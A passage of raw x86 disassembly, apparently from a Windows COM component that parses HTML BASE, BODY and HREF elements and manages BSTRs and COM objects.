mov edi, esp
movsd
movsd
movsd
movsd
push eax
call dword ptr [ecx+2Ch]
mov [ebp+var_40], eax
mov eax, [ebp+var_10C0]
cmp eax, ebx
jz loc_69B893C2
mov [ebp+var_10C4], ebx
mov ecx, [eax]
lea edx, [ebp+var_10C4]
push edx
push offset dword_69B2B0A0
push eax
call dword ptr [ecx]
mov [ebp+var_40], eax
mov eax, [ebp+var_10C4]
cmp eax, ebx
jz loc_69B893B6
mov [ebp+lpStr1], ebx
mov ecx, [eax]
lea edx, [ebp+lpStr1]
push edx
push eax
call dword ptr [ecx+38h]
mov [ebp+var_40], eax
cmp [ebp+lpStr1], ebx
jz loc_69B893AA
push [ebp+lpStr1] ; BSTR
mov esi, SysStringLen
call esi ; SysStringLen
mov [ebp+nChar], eax
push eax ; nChar
push offset aBase ; "BASE"
push [ebp+lpStr1] ; lpStr1
mov edi, ds:StrCmpNIW
call edi ; StrCmpNIW
test eax, eax
jnz short loc_69B8937B
lea eax, [ebp+var_10DC]
push eax ; pvarg
call VariantInit
mov eax, [ebp+var_10C4]
mov ecx, [eax]
lea edx, [ebp+var_10DC]
push edx
push ebx
push [ebp+var_3C]
push eax
call dword ptr [ecx+20h]
mov [ebp+var_40], eax
cmp [ebp+var_10DC], 8
jnz short loc_69B8936C
mov eax, [ebp+var_10D4]
cmp eax, ebx
jz short loc_69B8936C
mov [ebp+var_10E0], eax
push eax ; BSTR
call esi ; SysStringLen
mov [ebp+nChar], eax
push eax
push ebx
push [ebp+var_10E0]
call sub_69B190A9
mov [ebp+var_38], eax
loc_69B8936C: ; CODE XREF: sub_69B8903E+303j
; sub_69B8903E+30Dj
lea eax, [ebp+var_10DC]
push eax ; pvarg
call VariantClear
jmp short loc_69B89392
; ---------------------------------------------------------------------------
loc_69B8937B: ; CODE XREF: sub_69B8903E+2D2j
push [ebp+nChar] ; nChar
push offset aBody ; "BODY"
push [ebp+lpStr1] ; lpStr1
call edi ; StrCmpNIW
test eax, eax
jnz short loc_69B8939E
loc_69B89392: ; CODE XREF: sub_69B8903E+33Bj
mov eax, [ebp+var_1098]
mov [ebp+var_109C], eax
loc_69B8939E: ; CODE XREF: sub_69B8903E+352j
push [ebp+lpStr1] ; BSTR
call SysFreeString
loc_69B893AA: ; CODE XREF: sub_69B8903E+2A2j
mov eax, [ebp+var_10C4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B893B6: ; CODE XREF: sub_69B8903E+280j
mov eax, [ebp+var_10C0]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B893C2: ; CODE XREF: sub_69B8903E+258j
inc [ebp+var_109C]
mov edi, [ebp+var_109C]
jmp loc_69B89221
; ---------------------------------------------------------------------------
loc_69B893D3: ; CODE XREF: sub_69B8903E+1E9j
mov eax, [ebp+var_1094]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B893DF: ; CODE XREF: sub_69B8903E+1B4j
; sub_69B8903E+1C2j
mov eax, [ebp+var_2C]
mov ecx, [eax]
lea edx, [ebp+var_10E4]
push edx
push eax
call dword ptr [ecx+0A0h]
mov [ebp+var_40], eax
cmp eax, ebx
jl loc_69B8947E
mov esi, [ebp+var_38]
cmp esi, ebx
jz short loc_69B89451
lea ecx, [ebp+var_10F8]
call sub_69B3A66D
mov eax, [esi+0Ch]
mov [ebp+var_10FC], eax
push [ebp+var_10E4] ; int
push eax ; lpString
lea ecx, [ebp+var_10F8]
call sub_69B3A709
mov [ebp+var_40], eax
cmp eax, ebx
jnz short loc_69B89446
mov eax, [ebp+var_10F0]
mov [ebp+var_1100], eax
push eax ; lpString
call sub_69B1A587
mov [ebp+var_38], eax
loc_69B89446: ; CODE XREF: sub_69B8903E+3F1j
lea ecx, [ebp+var_10F8]
call sub_69B3A8F3
loc_69B89451: ; CODE XREF: sub_69B8903E+3C4j
cmp [ebp+var_38], ebx
jnz short loc_69B89464
push [ebp+var_10E4] ; lpString
call sub_69B1A587
mov [ebp+var_38], eax
loc_69B89464: ; CODE XREF: sub_69B8903E+416j
push [ebp+var_10E4] ; BSTR
call SysFreeString
jmp short loc_69B8947E
; ---------------------------------------------------------------------------
loc_69B89472: ; DATA XREF: .text:69B8950Co
push [ebp+var_14]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B8947B: ; DATA XREF: .text:69B89510o
mov esp, [ebp+var_18]
loc_69B8947E: ; CODE XREF: sub_69B8903E+9Bj
; sub_69B8903E+EAj ...
or [ebp+var_4], 0FFFFFFFFh
loc_69B89482: ; CODE XREF: sub_69B8903E+61j
lea eax, [ebp+var_34]
push eax
call sub_69B17230
lea eax, [ebp+var_28]
push eax
call sub_69B17230
lea eax, [ebp+var_24]
push eax
call sub_69B17230
lea eax, [ebp+var_20]
push eax
call sub_69B17230
lea eax, [ebp+var_2C]
push eax
call sub_69B17230
lea eax, [ebp+var_30]
push eax
call sub_69B17230
push [ebp+var_3C] ; BSTR
call SysFreeString
mov eax, [ebp+var_38]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov ecx, [ebp+var_1C]
xor ecx, [ebp+4]
call sub_69B1B9F6
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B8903E endp
; ---------------------------------------------------------------------------
; const WCHAR aBody
aBody: ; DATA XREF: sub_69B8903E+343o
unicode 0, <BODY>,0
align 4
; const WCHAR aBase
aBase: ; DATA XREF: sub_69B8903E+2BDo
unicode 0, <BASE>,0
align 4
; OLECHAR aHref
aHref: ; DATA XREF: sub_69B8903E+51o
unicode 0, <HREF>,0
align 8
dword_69B89508 dd 0FFFFFFFFh dd offset loc_69B89472
dd offset loc_69B8947B
; =============== S U B R O U T I N E =======================================
sub_69B89514 proc near ; DATA XREF: .text:69B27880o
; .text:69B27958o ...
push 24h
push offset dword_69B895E8
call sub_69B19C5C
mov ebx, [ebp+10h]
test ebx, ebx
jz loc_69B895D6
mov edi, [ebp+14h]
test edi, edi
jz loc_69B895D6
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B8954D
mov eax, 80004005h
jmp loc_69B895DB
; ---------------------------------------------------------------------------
loc_69B8954D: ; CODE XREF: sub_69B89514+2Dj
mov esi, [ebp+8]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+1Ch]
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+14h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B1986C
and dword ptr [ebp-30h], 0
and dword ptr [ebp-4], 0
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+18h]
mov [ebp-34h], eax
push 3
pop ecx
mov [ebx], ecx
mov eax, [eax+10h]
and eax, ecx
mov [edi], eax
jmp short loc_69B895B4
; ---------------------------------------------------------------------------
loc_69B89593: ; DATA XREF: .text:69B895ECo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B8959C: ; DATA XREF: .text:69B895F0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-30h], eax
loc_69B895B4: ; CODE XREF: sub_69B89514+7Dj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
jmp short loc_69B895DB
; ---------------------------------------------------------------------------
loc_69B895D6: ; CODE XREF: sub_69B89514+11j
; sub_69B89514+1Cj
mov eax, 80004003h
loc_69B895DB: ; CODE XREF: sub_69B89514+34j
; sub_69B89514+C0j
call sub_69B1853C
retn 10h
sub_69B89514 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B895E8 dd 0FFFFFFFFh dd offset loc_69B89593
dd offset loc_69B8959C
; =============== S U B R O U T I N E =======================================
sub_69B895F4 proc near ; DATA XREF: .text:69B27884o
; .text:69B2795Co ...
push 18h
push offset dword_69B89688
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B89616
mov eax, 80004005h
jmp short loc_69B8967F
; ---------------------------------------------------------------------------
loc_69B89616: ; CODE XREF: sub_69B895F4+19j
mov esi, [ebp+8]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+1Ch]
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-4], edi
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+18h]
mov edx, [eax]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
mov ecx, eax
call dword ptr [edx+4]
jmp short loc_69B89668
; ---------------------------------------------------------------------------
loc_69B89648: ; DATA XREF: .text:69B8968Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B89651: ; DATA XREF: .text:69B89690o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B89668: ; CODE XREF: sub_69B895F4+52j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B8967F: ; CODE XREF: sub_69B895F4+20j
call sub_69B1853C
retn 10h
sub_69B895F4 endp
; ---------------------------------------------------------------------------
align 4
dword_69B89688 dd 0FFFFFFFFh dd offset loc_69B89648
dd offset loc_69B89651
; ---------------------------------------------------------------------------
loc_69B89694: ; DATA XREF: .text:69B2786Co
; .text:69B27944o ...
push 18h
push offset dword_69B89728
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B896B6
mov eax, 80004005h
jmp short loc_69B8971B
; ---------------------------------------------------------------------------
loc_69B896B6: ; CODE XREF: .text:69B896ADj
mov esi, [ebp+8]
add esi, 0FFFFFFFCh
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+1Ch]
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-4], edi
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+18h]
mov edx, [eax]
push dword ptr [ebp+0Ch]
mov ecx, eax
call dword ptr [edx]
jmp short loc_69B89704
; ---------------------------------------------------------------------------
loc_69B896E4: ; DATA XREF: .text:69B8972Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B896ED: ; DATA XREF: .text:69B89730o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B89704: ; CODE XREF: .text:69B896E2j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B8971B: ; CODE XREF: .text:69B896B4j
call sub_69B1853C
retn 8
; ---------------------------------------------------------------------------
align 8
dword_69B89728 dd 0FFFFFFFFh dd offset loc_69B896E4
dd offset loc_69B896ED
; ---------------------------------------------------------------------------
loc_69B89734: ; DATA XREF: .text:69B27870o
; .text:69B27948o ...
push 1Ch
push offset dword_69B897F8
call sub_69B19C5C
xor edi, edi
cmp [ebp+10h], edi
jnz short loc_69B89751
mov eax, 80004003h
jmp loc_69B897E9
; ---------------------------------------------------------------------------
loc_69B89751: ; CODE XREF: .text:69B89745j
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, edi
jnz short loc_69B89768
mov eax, 80004005h
jmp loc_69B897E9
; ---------------------------------------------------------------------------
loc_69B89768: ; CODE XREF: .text:69B8975Cj
mov esi, [ebp+8]
add esi, 0FFFFFFFCh
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+1Ch]
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+14h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov [ebp-4], edi
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+18h]
mov ecx, eax
call sub_69B8900B
jmp short loc_69B897CA
; ---------------------------------------------------------------------------
loc_69B897AA: ; DATA XREF: .text:69B897FCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B897B3: ; DATA XREF: .text:69B89800o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B897CA: ; CODE XREF: .text:69B897A8j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B897E9: ; CODE XREF: .text:69B8974Cj
; .text:69B89763j
call sub_69B1853C
retn 0Ch
; ---------------------------------------------------------------------------
align 8
dword_69B897F8 dd 0FFFFFFFFh dd offset loc_69B897AA
dd offset loc_69B897B3
; =============== S U B R O U T I N E =======================================
sub_69B89804 proc near ; CODE XREF: sub_69B3C634+75p
; sub_69B3F90C+4Bp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, ecx
lea eax, [edi+4]
push eax
lea ecx, [esi+4]
call sub_69B4D414
mov eax, [edi+10h]
mov [esi+10h], eax
mov eax, [edi+8]
test eax, eax
jz short loc_69B8982E
push eax
call sub_69B2F0C4
push eax
jmp short loc_69B89830
; ---------------------------------------------------------------------------
loc_69B8982E: ; CODE XREF: sub_69B89804+1Fj
push 0
loc_69B89830: ; CODE XREF: sub_69B89804+28j
lea eax, [esi+8]
push eax
call sub_69B17320
mov eax, [edi+0Ch]
test eax, eax
jz short loc_69B89849
push eax
call sub_69B2F0C4
push eax
jmp short loc_69B8984B
; ---------------------------------------------------------------------------
loc_69B89849: ; CODE XREF: sub_69B89804+3Aj
push 0
loc_69B8984B: ; CODE XREF: sub_69B89804+43j
lea eax, [esi+0Ch]
push eax
call sub_69B17320
mov al, [edi+14h]
mov [esi+14h], al
mov al, [edi+15h]
pop edi
mov [esi+15h], al
pop esi
retn 4
sub_69B89804 endp
; =============== S U B R O U T I N E =======================================
sub_69B89865 proc near ; CODE XREF: sub_69B89EAF+55p
; sub_69B89F54+7Fp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B8903E
push eax
lea eax, [esi+8]
push eax
call sub_69B17320
mov byte ptr [esi+14h], 1
pop esi
retn 4
sub_69B89865 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B89883 proc near ; CODE XREF: sub_69B89EAF+5Fp
; sub_69B8A014+44p
String = word ptr -1090h
var_48 = byte ptr -48h
pv = dword ptr -44h
var_40 = dword ptr -40h
lpString = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_69B89B38
push offset sub_69B22496
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
mov eax, 1078h
call sub_69B1B09C
mov eax, dword_69B92170
xor eax, [ebp+4]
mov [ebp+var_1C], eax
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_20], ecx
xor ebx, ebx
mov [ebp+var_24], ebx
mov [ebp+var_28], ebx
mov [ebp+var_2C], ebx
mov [ebp+var_30], ebx
mov [ebp+var_34], ebx
mov [ebp+var_38], ebx
mov [ebp+lpString], ebx
mov [ebp+var_4], ebx
mov esi, [ebp+arg_0]
mov eax, [esi]
lea ecx, [ebp+var_38]
push ecx
mov edi, offset stru_69B25E34
push edi
push esi
call dword ptr [eax]
test eax, eax
jl short loc_69B8992D
mov eax, [ebp+var_38]
mov ecx, [eax]
lea edx, [ebp+lpString]
push edx
push eax
call dword ptr [ecx+0F4h]
mov [ebp+var_40], eax
cmp eax, ebx
jl loc_69B89ADD
push [ebp+lpString] ; lpString
call sub_69B1A587
push eax
mov esi, [ebp+var_20]
lea ecx, [esi+8]
call sub_69B199CC
push eax
lea ecx, [esi+0Ch]
call sub_69B4D414
jmp loc_69B89AB1
; ---------------------------------------------------------------------------
loc_69B8992D: ; CODE XREF: sub_69B89883+6Bj
mov eax, [esi]
lea ecx, [ebp+var_24]
push ecx
push offset dword_69B2B170
push esi
call dword ptr [eax]
test eax, eax
jl short loc_69B899A0
mov eax, [ebp+var_24]
mov ecx, [eax]
lea edx, [ebp+var_28]
push edx
push 1
push 1
push eax
call dword ptr [ecx+10h]
mov [ebp+var_40], eax
cmp eax, ebx
jl loc_69B89ADD
mov eax, [ebp+var_28]
mov ecx, [eax]
lea edx, [ebp+pv]
push edx
push ebx
push ebx
push eax
call dword ptr [ecx+50h]
mov [ebp+var_40], eax
cmp eax, ebx
jl loc_69B89ADD
cmp [ebp+pv], ebx
jz loc_69B89ADD
push [ebp+pv] ; lpString
call sub_69B1A587
push eax
mov ecx, [ebp+var_20]
add ecx, 0Ch
call sub_69B199CC
push [ebp+pv] ; pv
call ds:CoTaskMemFree
jmp loc_69B89ADD
; ---------------------------------------------------------------------------
loc_69B899A0: ; CODE XREF: sub_69B89883+BAj
mov eax, [esi]
lea ecx, [ebp+var_2C]
push ecx
push offset dword_69B2B040
push esi
call dword ptr [eax]
mov [ebp+var_40], eax
cmp eax, ebx
jl loc_69B89ADD
mov eax, [ebp+var_2C]
mov ecx, [eax]
lea edx, [ebp+var_30]
push edx
push offset dword_69B2AFF0
push offset nullsub_1
push eax
call dword ptr [ecx+0Ch]
mov [ebp+var_40], eax
cmp eax, ebx
jl short loc_69B89A18
mov eax, [ebp+var_30]
mov ecx, [eax]
lea edx, [ebp+var_48]
push edx
push 1048h
lea edx, [ebp+String]
push edx
push eax
call dword ptr [ecx+0Ch]
mov [ebp+var_40], eax
cmp eax, ebx
jl loc_69B89ADD
lea eax, [ebp+String]
push eax ; lpString
call sub_69B1A587
push eax
mov ecx, [ebp+var_20]
add ecx, 0Ch
call sub_69B199CC
jmp loc_69B89ADD
; ---------------------------------------------------------------------------
loc_69B89A18: ; CODE XREF: sub_69B89883+152j
mov eax, [ebp+var_2C]
mov ecx, [eax]
lea edx, [ebp+var_38]
push edx
push edi
mov edi, offset dword_69B2AF00
push edi
push eax
call dword ptr [ecx+0Ch]
mov [ebp+var_40], eax
cmp eax, ebx
jl short loc_69B89A4D
mov eax, [ebp+var_38]
cmp eax, ebx
jz loc_69B89ADD
mov ecx, [eax]
lea edx, [ebp+lpString]
push edx
push eax
call dword ptr [ecx+0F4h]
jmp short loc_69B89A96
; ---------------------------------------------------------------------------
loc_69B89A4D: ; CODE XREF: sub_69B89883+1AEj
mov eax, [ebp+var_2C]
mov ecx, [eax]
lea edx, [ebp+var_34]
push edx
mov esi, (offset loc_69B2B07C+4)
push esi
push offset dword_69B2AEF0
push eax
call dword ptr [ecx+0Ch]
mov [ebp+var_40], eax
cmp eax, ebx
jge short loc_69B89A82
mov eax, [ebp+var_2C]
mov ecx, [eax]
lea edx, [ebp+var_34]
push edx
push esi
push edi
push eax
call dword ptr [ecx+0Ch]
mov [ebp+var_40], eax
cmp eax, ebx
jl short loc_69B89ADD
loc_69B89A82: ; CODE XREF: sub_69B89883+1E7j
mov eax, [ebp+var_34]
cmp eax, ebx
jz short loc_69B89ADD
mov ecx, [eax]
lea edx, [ebp+lpString]
push edx
push eax
call dword ptr [ecx+0A0h]
loc_69B89A96: ; CODE XREF: sub_69B89883+1C8j
mov [ebp+var_40], eax
cmp eax, ebx
jl short loc_69B89ADD
push [ebp+lpString] ; lpString
call sub_69B1A587
mov ecx, [ebp+var_20]
add ecx, 0Ch
push eax
call sub_69B199CC
loc_69B89AB1: ; CODE XREF: sub_69B89883+A5j
push [ebp+lpString] ; BSTR
call SysFreeString
jmp short loc_69B89ADD
; ---------------------------------------------------------------------------
loc_69B89ABC: ; DATA XREF: .text:69B89B3Co
push [ebp+var_14]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B89AC5: ; DATA XREF: .text:69B89B40o
mov esp, [ebp+var_18]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp+var_40], eax
loc_69B89ADD: ; CODE XREF: sub_69B89883+82j
; sub_69B89883+D2j ...
or [ebp+var_4], 0FFFFFFFFh
lea eax, [ebp+var_24]
push eax
call sub_69B17230
lea eax, [ebp+var_28]
push eax
call sub_69B17230
lea eax, [ebp+var_2C]
push eax
call sub_69B17230
lea eax, [ebp+var_30]
push eax
call sub_69B17230
lea eax, [ebp+var_34]
push eax
call sub_69B17230
lea eax, [ebp+var_38]
push eax
call sub_69B17230
mov eax, [ebp+var_40]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov ecx, [ebp+var_1C]
xor ecx, [ebp+4]
call sub_69B1B9F6
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B89883 endp
; ---------------------------------------------------------------------------
align 4
dword_69B89B38 dd 0FFFFFFFFh dd offset loc_69B89ABC
dd offset loc_69B89AC5
; =============== S U B R O U T I N E =======================================
sub_69B89B44 proc near ; CODE XREF: sub_69B89C91+A2p
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dword ptr [eax], offset off_69B2B1B4
mov dword ptr [eax+4], offset off_69B2B1A4
mov dword ptr [eax+8], 1
mov [eax+0Ch], ecx
retn 4
sub_69B89B44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B89B64 proc near ; CODE XREF: .text:69B89C48j
; DATA XREF: .text:off_69B2B1B4o
var_76 = byte ptr -76h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
push edi
push 4
pop ecx
mov edi, offset stru_69B1CA6C
xor eax, eax
repe cmpsd
jz short loc_69B89BB3
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B2B040
xor eax, eax
repe cmpsd
jz short loc_69B89BB3
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset loc_69B89BD4
xor eax, eax
repe cmpsd
jnz short loc_69B89BA6
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov [ecx], eax
jmp short loc_69B89BC6
; ---------------------------------------------------------------------------
loc_69B89BA6: ; CODE XREF: sub_69B89B64+36j
mov eax, [ebp+arg_8]
and dword ptr [eax], 0
mov eax, 80004002h
jmp short loc_69B89BCE
; ---------------------------------------------------------------------------
loc_69B89BB3: ; CODE XREF: sub_69B89B64+14j
; sub_69B89B64+25j
mov eax, [ebp+arg_0]
mov ecx, eax
neg ecx
lea edx, [eax+4]
sbb ecx, ecx
and ecx, edx
mov edx, [ebp+arg_8]
mov [edx], ecx
loc_69B89BC6: ; CODE XREF: sub_69B89B64+40j
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
xor eax, eax
loc_69B89BCE: ; CODE XREF: sub_69B89B64+4Dj
pop edi
pop esi
pop ebp
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B89BD4: ; DATA XREF: sub_69B89B64+2Do
in eax, dx
leave
jmp far ptr 8C11h:0CEBAF979h
; ---------------------------------------------------------------------------
add byte ptr [eax], 0AAh
add [ebx-57h], cl
loc_69B89BE3: ; DATA XREF: .text:69B2B1B8o
or ecx, [ebx-0FBDBBCh]
inc eax
or [ebx+4C20840h], cl
loc_69B89BF0: ; DATA XREF: .text:69B2B1B0o
add [ebp-75h], dl
in al, dx
sub_69B89B64 endp ; sp-analysis failed
mov eax, [ebp+14h]
mov edx, [ebp+8]
and dword ptr [eax], 0
cmp dword ptr [edx+8], 0
push esi
push edi
jz short loc_69B89C38
mov edi, [ebp+0Ch]
push ebx
push 4
mov eax, offset stru_69B2AF10
pop ecx
xor ebx, ebx
mov esi, eax
repe cmpsd
pop ebx
jnz short loc_69B89C38
mov edi, [ebp+10h]
push 4
mov esi, eax
pop ecx
xor eax, eax
repe cmpsd
jnz short loc_69B89C38
push dword ptr [ebp+14h]
mov eax, [edx+8]
push dword ptr [ebp+10h]
mov ecx, [eax]
push eax
call dword ptr [ecx]
jmp short loc_69B89C3D
; ---------------------------------------------------------------------------
loc_69B89C38: ; CODE XREF: .text:69B89C03j
; .text:69B89C18j ...
mov eax, 80004005h
loc_69B89C3D: ; CODE XREF: .text:69B89C36j
pop edi
pop esi
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_69B89C43: ; DATA XREF: .text:off_69B2B1A4o
sub dword ptr [esp+4], 4
jmp sub_69B89B64
; ---------------------------------------------------------------------------
byte_69B89C4D db 83h, 6Ch, 24h ; DATA XREF: .text:69B2B1A8o
dd 90EB0404h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B89DC8
loc_69B89C54: ; CODE XREF: sub_69B89DC8+5j
; DATA XREF: .text:69B2B1BCo
push esi
mov esi, [esp+4+arg_0]
dec dword ptr [esi+8]
push edi
mov edi, [esi+8]
jnz short loc_69B89C6F
mov ecx, esi
call sub_69B89C76
push esi
call sub_69B1B2B7
loc_69B89C6F: ; CODE XREF: sub_69B89DC8-168j
mov eax, edi
pop edi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B89DC8
; =============== S U B R O U T I N E =======================================
sub_69B89C76 proc near ; CODE XREF: sub_69B89DC8-164p
mov dword ptr [ecx], offset off_69B2B1B4
mov dword ptr [ecx+4], offset off_69B2B1A4
mov ecx, [ecx+0Ch]
test ecx, ecx
jz short locret_69B89C90
mov eax, [ecx]
push ecx
call dword ptr [eax+8]
locret_69B89C90: ; CODE XREF: sub_69B89C76+12j
retn
sub_69B89C76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B89C91 proc near ; CODE XREF: sub_69B6F543+44p
var_C = dword ptr -0Ch
ppv = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov [eax], bl
cmp [esi+10h], ebx
jnz short loc_69B89CAE
xor eax, eax
jmp loc_69B89DC2
; ---------------------------------------------------------------------------
loc_69B89CAE: ; CODE XREF: sub_69B89C91+14j
push edi
lea edi, [esi+4]
push ebx
mov ecx, edi
call sub_69B3D51D
test eax, eax
jnz loc_69B89DB9
mov eax, [esi+0Ch]
cmp eax, ebx
jz loc_69B89DB9
cmp [eax+8], ebx
jz loc_69B89DB9
cmp [esi+15h], bl
jnz loc_69B89D87
mov ecx, [edi]
cmp ecx, ebx
mov [ebp+var_4], ebx
jz short loc_69B89CF8
lea eax, [ebp+var_4]
push eax
push offset dword_69B2B040
call sub_69B88161
jmp short loc_69B89CFD
; ---------------------------------------------------------------------------
loc_69B89CF8: ; CODE XREF: sub_69B89C91+55j
mov eax, 80004005h
loc_69B89CFD: ; CODE XREF: sub_69B89C91+65j
cmp eax, ebx
jl loc_69B89D87
mov eax, [ebp+var_4]
lea edx, [ebp+var_C]
push edx
mov edi, offset stru_69B2AF10
push edi
push edi
mov [ebp+var_C], ebx
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jl short loc_69B89D7A
push 10h
mov [ebp+ppv], ebx
call sub_69B1D897
cmp eax, ebx
jz short loc_69B89D3C
push [ebp+var_C]
mov ecx, eax
call sub_69B89B44
mov esi, eax
jmp short loc_69B89D3E
; ---------------------------------------------------------------------------
loc_69B89D3C: ; CODE XREF: sub_69B89C91+9Bj
xor esi, esi
loc_69B89D3E: ; CODE XREF: sub_69B89C91+A9j
lea eax, [ebp+ppv]
push eax ; ppv
push edi ; riid
push 1 ; dwClsContext
push ebx ; pUnkOuter
push offset stru_69B2AED0 ; rclsid
call ds:CoCreateInstance
test eax, eax
push esi
jl short loc_69B89D73
mov eax, [ebp+ppv]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
mov eax, [esi]
push esi
call dword ptr [eax+8]
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
mov eax, [ebp+ppv]
jmp short loc_69B89DC1
; ---------------------------------------------------------------------------
loc_69B89D73: ; CODE XREF: sub_69B89C91+C3j
mov eax, [esi]
call dword ptr [eax+8]
jmp short loc_69B89D7E
; ---------------------------------------------------------------------------
loc_69B89D7A: ; CODE XREF: sub_69B89C91+8Dj
mov byte ptr [esi+15h], 1
loc_69B89D7E: ; CODE XREF: sub_69B89C91+E7j
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B89D87: ; CODE XREF: sub_69B89C91+48j
; sub_69B89C91+6Ej
mov eax, dword_69B9B678
cmp eax, ebx
jnz short loc_69B89DAC
push offset dword_69B9B678 ; ppv
call sub_69B2C72C
cmp eax, 80040154h
jz short loc_69B89DB9
push eax
call sub_69B8861E
mov eax, dword_69B9B678
loc_69B89DAC: ; CODE XREF: sub_69B89C91+FDj
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov eax, dword_69B9B678
jmp short loc_69B89DC1
; ---------------------------------------------------------------------------
